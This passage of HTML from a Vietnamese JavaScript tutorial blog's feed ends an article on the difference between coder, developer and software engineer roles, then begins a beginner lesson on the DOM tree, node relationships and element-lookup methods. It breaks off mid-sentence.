width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Developer</h3> <p>Developer có thể viết và tạo ra một phần mềm máy tính hoàn chỉnh một cách bất ngờ mà không cần quan tâm đến thiết kế hay những tính năng khác. Họ là chìa khoá cho sự phát triển của bất kỳ ứng dụng phần mềm nào; họ cũng là chuyên gia trong ít nhất một ngôn ngữ lập trình.</p> <p>Nhiều người đánh giá họ là những chuyên gia thật sự - những người am hiểu về tất cả những vấn đề tổng quát. Developer đôi khi trở nên phổ biến hơn trong phát triển phần mềm, không giống như Programmer.</p> <h3 id="software-engineer" style="position:relative;"><a href="#software-engineer" aria-label="software engineer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Software Engineer</h3> <p>Software Engineer là người ứng dụng những nguyên lý và kĩ thuật của khoa học máy tính hay kĩ thuật phần mềm để phát triển một phần mềm độc lập mới; từ việc phân tích những thứ mà người dùng cần, cho đến thiết kế, bảo trì, kiểm thử và thậm chí đánh giá phần mềm.</p> <p>Họ có thể tạo ra phần mềm cho bất kỳ hệ thống nào như là những phần mềm hệ điều hành, phân phối mạng, trình biên dịch,... Họ thường có bằng đại học và có thể chứng minh nhiều thứ theo lý thuyết.</p> <h2 id="một-cách-hình-dung-khác" style="position:relative;"><a href="#m%E1%BB%99t-c%C3%A1ch-h%C3%ACnh-dung-kh%C3%A1c" aria-label="một cách hình dung khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một cách hình dung khác</h2> <p>Một cách khác để hiểu được sự khác nhau giữa Coder, Programmer, Developer và Software Engineer là xem xét họ theo thứ bậc hay như là những bậc thang. Trong đó, Coder nằm ở vùng thấp nhất của cầu thang, và Software Engineer nằm ở vùng cao nhất của cầu thang.</p> <p>Có thể đối với bạn, tất cả những chức danh nghề nghiệp trên là giống nhau, bởi vì bạn đã từng biết một Developer có thể làm tất cả mọi thứ mà một Software Engineer có thể làm, nhưng thực sự là có nhiều sự khác biệt giữa họ đáng để biết.</p> <p>Nếu một vài công ty có sự chú ý đặc biệt tới tên chức danh của những nhân viên hoặc không, đây không phải là vấn đề lớn để quan tâm; vấn đề quan trọng là bạn biết những gì bạn có thể làm và có thể làm tốt đến mức nào.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Cơ bản về DOM JavaScript - DOM là gì?]]><![CDATA[Những bài viết trước, mình đã giới thiệu với bạn kiến thức cơ bản về mặt ngôn ngữ của JavaScript. Bài viết này mình sẽ giới thiệu sự liên kết của JavaScript với trình duyệt. Và cái…]]>https://completejavascript.com/co-ban-ve-dom-javascript/https://completejavascript.com/co-ban-ve-dom-javascript/<![CDATA[CSS]]><![CDATA[DOM]]><![CDATA[HTML]]>Wed, 02 Aug 2017 00:29:51 GMT<p>Những bài viết trước, mình đã giới thiệu với bạn kiến thức cơ bản về mặt <em>ngôn ngữ</em> của <a href="/javascript-la-gi/">JavaScript</a>. Bài viết này mình sẽ giới thiệu sự liên kết của JavaScript với trình duyệt. Và cái đầu tiên mà mình muốn nói đến, chính là <strong>DOM</strong>. Vậy DOM là gì? Cách sử dụng DOM trong JavaScript thế nào? Sau đây là câu trả lời.</p> <h2 id="dom-là-gì" style="position:relative;"><a href="#dom-l%C3%A0-g%C3%AC" aria-label="dom là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>DOM là gì?</h2> <p>DOM là viết tắt của Document Object Model - một thành phần javascript cơ bản. Hiểu đơn giản thì DOM trong JavaScript chính là những phần tử biểu diễn cấu trúc dữ liệu của một trang web.</p> <p>Hãy xem xét một ví dụ đơn giản sau:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>My home page<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span>My home page<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Hello, I am Marijn and this is my home page.<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span> I also wrote a book! Read it <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://eloquentjavascript.net<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>here<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span>. <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Đây là cấu trúc đơn giản của một trang web.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 418px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 107.87878787878786%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByklEQVQ4y42U6ZajIBCF+/0fL3YyGSXjgume0wmLUCwC6kyszuJMkpPvR4kHL1V1Ad9ijKC1MbZ/Ge99jHGapjfvfV3XjPNhSH3fhxeIMTrnTuK+74XgdV1b52KMr4i99wDwnVkpRSlVSuME8qRm773W+ltsDOz3LeNimqZxHDEO9xjHMYRgjLlmNgBlWZKi2Gx+NE29WmVlVV8W+oeUkrX2mlnPdGfYkQkh4QH6tDVm0bMQQmt9+8UTAODqtpSSEGKMSSnFM+kBwzDEGBdlH47HlBL6hPHJPllrr2UD6Lalh8OBsaPSinOu57m7oGG3YqBNU+52hBBKmyzLyqpKKYV7B+7/zGCs8c4756y1GB+5pZRyzl17nt3m02vcKfvXjqxW2X6///ho86LYrNdFkZdVXRDyvl5TSgHMQ7HWWkqJh0RKKWY45/jayQ7AYM/Y1+KQsCNz7uQEziHoDVrAkfksLTIrpeDx3kzTNAwDZ2wcR/wNLMRa69+fn0We05bm+bahbV2V2fummPm53TIhD19fhBAh5R2xvwEvrXU2hOCc630fY8KbY8AsxM45dEUp1XUdxstA4eNsIYJ34yTG5V/Be38ZhxD+iv8A5jjxFdOn4/AAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cơ bản về DOM JavaScript 1 - Complete JavaScript - completejavascript.com" title="Cơ bản về DOM JavaScript 1 - Complete JavaScript - completejavascript.com" src="/static/cd58ce377a07064c9a0d8d912f6f68cb/2bbac/Co-ban-ve-DOM-JavaScript-1-completejavascript.com_.png" srcset="/static/cd58ce377a07064c9a0d8d912f6f68cb/103f2/Co-ban-ve-DOM-JavaScript-1-completejavascript.com_.png 165w, /static/cd58ce377a07064c9a0d8d912f6f68cb/748ba/Co-ban-ve-DOM-JavaScript-1-completejavascript.com_.png 330w, /static/cd58ce377a07064c9a0d8d912f6f68cb/2bbac/Co-ban-ve-DOM-JavaScript-1-completejavascript.com_.png 418w" sizes="(max-width: 418px) 100vw, 418px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Ở đây, mỗi hình vuông cùng với nội dung bên trong nó chính là DOM.</p> <h2 id="cấu-trúc-biểu-diễn-dom-javascript" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-bi%E1%BB%83u-di%E1%BB%85n-dom-javascript" aria-label="cấu trúc biểu diễn dom javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc biểu diễn DOM JavaScript</h2> <p>Thực tế, cấu trúc dữ liệu của một trang web được biểu diễn dạng cây (tree). Trong đó, mỗi node sẽ tương ứng với một DOM.</p> <p>Mỗi DOM node sẽ có thuộc tính <em>nodeType</em> - là một số nguyên - để biểu diễn kiểu của node, với giá trị như sau:</p> <ul> <li>document.ELEMENT_NODE (1) : node thông thường như <strong>html, head, body, title, h1, p,...</strong></li> <li>document.TEXT_NODE (3) : thành phần text trên trang web</li> <li>document.COMMENT_NODE (8) : thành phần comment.</li> </ul> <p>Ví dụ trên được biểu diễn dạng cây:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 476px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABlklEQVQoz43RXW/aMBQGYP7/f9pFJ42LNmPASKAkBZzEX3Hs4684KjHJxNC6rVPbvVevLD06PjqzYRj0Nabve+88wLWH0DvnpFRdF0LovfesEUKpRsoWQCiljImXyyyEfrlK1+st5y0lZL3K0nSvjaOUJ8mSMQlguWzvVqsvWfZ5vZ5n2ackuc+Lc4yzcRyHYYgxhhCEEJRySpj3nVLAWAPaGm2ttYeyPGF8whgRgnBd8ybGOJt+ZRzHhjfLZZpluRASY1oUCKADZVuAeZo+5Pk83Tzs87vFIsmL4XL5jW9+HMdpmqyzQrRSgjbWaKO0zk+n3eHpRGmBSty20rvn8/k1vpWu6whhdc0AvNYWrPmW7++326zGXx/3G4RKrV/jl/zcvxVCAThj3HVyVe0RKup6ezw8EcKsfRNP00gIw5gbE6TUNSFZVSW7XVqi78fjtqpra5+HN/FfuxBCpFDe953rmlYsdrvHsjwPcfaOeSmMUkq4AmeNE0ptEDpwPsT48eRpmkjTYIB/3/8LuxBa5/485+1fPwCi9qZmUFigUAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cơ bản về DOM JavaScript 2 - Complete JavaScript - completejavascript.com" title="Cơ bản về DOM JavaScript 2 - Complete JavaScript - completejavascript.com" src="/static/5226983d9e40bacfef6528123117edb9/09261/Co-ban-ve-DOM-JavaScript-2-completejavascript.com_.png" srcset="/static/5226983d9e40bacfef6528123117edb9/103f2/Co-ban-ve-DOM-JavaScript-2-completejavascript.com_.png 165w, /static/5226983d9e40bacfef6528123117edb9/748ba/Co-ban-ve-DOM-JavaScript-2-completejavascript.com_.png 330w, /static/5226983d9e40bacfef6528123117edb9/09261/Co-ban-ve-DOM-JavaScript-2-completejavascript.com_.png 476w" sizes="(max-width: 476px) 100vw, 476px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="liên-kết-giữa-các-dom-node-trong-cây" style="position:relative;"><a href="#li%C3%AAn-k%E1%BA%BFt-gi%E1%BB%AFa-c%C3%A1c-dom-node-trong-c%C3%A2y" aria-label="liên kết giữa các dom node trong cây permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Liên kết giữa các DOM node trong cây</h2> <p>Mỗi DOM node luôn chứa rất nhiều liên kết đến các DOM node khác.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 368px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 90.3030303030303%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAACC0lEQVQ4y32U626bQBBG8/7v1lSR48ZNYicGO/iyC3uZ215YKiCNYjfNET8AzaedGY64GYahlMIpcUqp9DYEBaiRQs7DMPSlxJwtc0vjy76U4RM3wzBISrmUmNJZ693hqK1T1nnEEIJHNACtc533ylpivg63ziFzDFGdTpvNWiTklGKMKUYL4In6nNMEEV2Ec84ewCFq55Tp2rbNf0tnJAQRCSHAxHWYmFkEEK13TfPmvfeISETMiNj3/VwqIt7763CYICIEeFguXl82j49Pm/X66ffq9sethDiXMvN34RiCdr71vvP+ZOyh6yyAiPAETVyH55HGcIznrntT6ti2e6X2SjW6JcR5iLE1xDIM8/UeBiIWUdYetULE4T8I87nrZPr+122PIzn7vF7fL5dnpXa7+nW7Xa1WL5vNtqrmmY9ta0VAxDLHnD/PzOD94XCo61prfTo0TdPsd/vt9rWq6rEAsTPGiViijkYFLxZW+mKYzwCNMXtjaNpzmfyNE3xlWM6ZRUikc66z9qy1A/CIFgAQ5ROIOEtysTBjrfPeIaq2dcbknEvf9zmX0qfJ0/nALyQppaSU+pyDCDj3tq9/3i2quv61XDw+PVfb6mF5f7e4ZxaifyT5uONJxpl3JRCN8w4gTI8fbX8RHiUnmu33AJPgoI05aN2MtuhGawnh6/A3QAgQgguhXP4M/gBTWQ88JBEBKwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cơ bản về DOM JavaScript - Complete JavaScript - completejavascript.com" title="Cơ bản về DOM JavaScript - Complete JavaScript - completejavascript.com" src="/static/ac6f0844db7cb0f3c6b352a47055820f/55493/Co-ban-ve-DOM-JavaScript-3-completejavascript.com_.png" srcset="/static/ac6f0844db7cb0f3c6b352a47055820f/103f2/Co-ban-ve-DOM-JavaScript-3-completejavascript.com_.png 165w, /static/ac6f0844db7cb0f3c6b352a47055820f/748ba/Co-ban-ve-DOM-JavaScript-3-completejavascript.com_.png 330w, /static/ac6f0844db7cb0f3c6b352a47055820f/55493/Co-ban-ve-DOM-JavaScript-3-completejavascript.com_.png 368w" sizes="(max-width: 368px) 100vw, 368px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="nodeparentnode" style="position:relative;"><a href="#nodeparentnode" aria-label="nodeparentnode permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/parentNode">Node.parentNode</a></h3> <p>trỏ đến node cha của một node.</p> <p>Nếu một node không có node cha (<em>document</em>) thì parentNode là null.</p> <p>Ví dụ: với mỗi node <em>p</em> và <em>h1</em> thì <em>parentNode</em> là <em>body</em>.</p> <h3 id="nodechildnodes" style="position:relative;"><a href="#nodechildnodes" aria-label="nodechildnodes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/childNodes">Node.childNodes</a></h3> <p>trỏ đến một <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> gần giống với <a href="/array-la-gi-array-trong-javascript/">array</a>, chứa những node con của một node.</p> <p>Tại sao lại là "gần giống với array" ?</p> <p>Vì đối tượng này không chứa các method như <em>slice, <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a></em>.</p> <p>Ví dụ: với node <em>body</em>, <em>childNodes</em> là một danh sách với các node con là <em>h1, p, p</em>.</p> <h3 id="nodefirstchild" style="position:relative;"><a href="#nodefirstchild" aria-label="nodefirstchild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Node/firstChild">Node.firstChild</a></h3> <p>trỏ đến node con đầu tiên của một node trong <em>childNodes</em>.</p> <p>Ví dụ: với node <em>body</em>, <em>firstChild</em> là <em>h1</em>.</p> <h3 id="nodelastchild" style="position:relative;"><a href="#nodelastchild" aria-label="nodelastchild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Node/lastChild">Node.lastChild</a></h3> <p>trỏ đến node con cuối cùng của một node trong <em>childNodes</em>.</p> <p>Ví dụ: với node <em>body</em>, <em>lastChild</em> là <em>p</em> (thứ 2).</p> <h3 id="nodeprevioussibling" style="position:relative;"><a href="#nodeprevioussibling" aria-label="nodeprevioussibling permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Node/previousSibling">Node.previousSibling</a></h3> <p>trỏ đến node liền kề phía trước (có cùng <em>parentNode</em>).</p> <p>Ví dụ: với node <em>p</em> (thứ nhất), <em>previousSibling</em> là <em>h1</em>.</p> <h3 id="nodenextsibling" style="position:relative;"><a href="#nodenextsibling" aria-label="nodenextsibling permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Node/nextSibling">Node.nextSibling</a></h3> <p>trỏ đến node liền kề phía sau (có cùng <em>parentNode</em>).</p> <p>Ví dụ: với node <em>p</em> (thứ nhất), <em>nextSibling</em> là _p _(thứ 2).</p> <h2 id="một-số-phương-thức-phổ-biến-khi-sử-dụng-dom" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-ph%E1%BB%95-bi%E1%BA%BFn-khi-s%E1%BB%AD-d%E1%BB%A5ng-dom" aria-label="một số phương thức phổ biến khi sử dụng dom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số phương thức phổ biến khi sử dụng DOM</h2> <h3 id="nodegetelementsbytagnametagname" style="position:relative;"><a href="#nodegetelementsbytagnametagname" aria-label="nodegetelementsbytagnametagname permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Document/getElementsByTagName">Node.getElementsByTagName('tagName')</a></h3> <p>trả về một danh sách các node con, cháu của một node với tag là 'tagName'.</p> <p>Ở đây, <em>tagName</em> có thể là <em>body, h1, p, img, ...</em></p> <h3 id="nodegetelementsbyclassnameclassname" style="position:relative;"><a href="#nodegetelementsbyclassnameclassname" aria-label="nodegetelementsbyclassnameclassname permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Document/getElementsByClassName">Node.getElementsByClassName('className')</a></h3> <p>Tương tự như phương thức trên, phương phức này trả về một danh sách các node con, cháu của một node với thuộc tính class = 'className'.</p> <h3 id="nodegetelementbyidid" style="position:relative;"><a href="#nodegetelementbyidid" aria-label="nodegetelementbyidid permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById">Node.getElementById('id')</a></h3> <p>trả về node có thuộc tính id 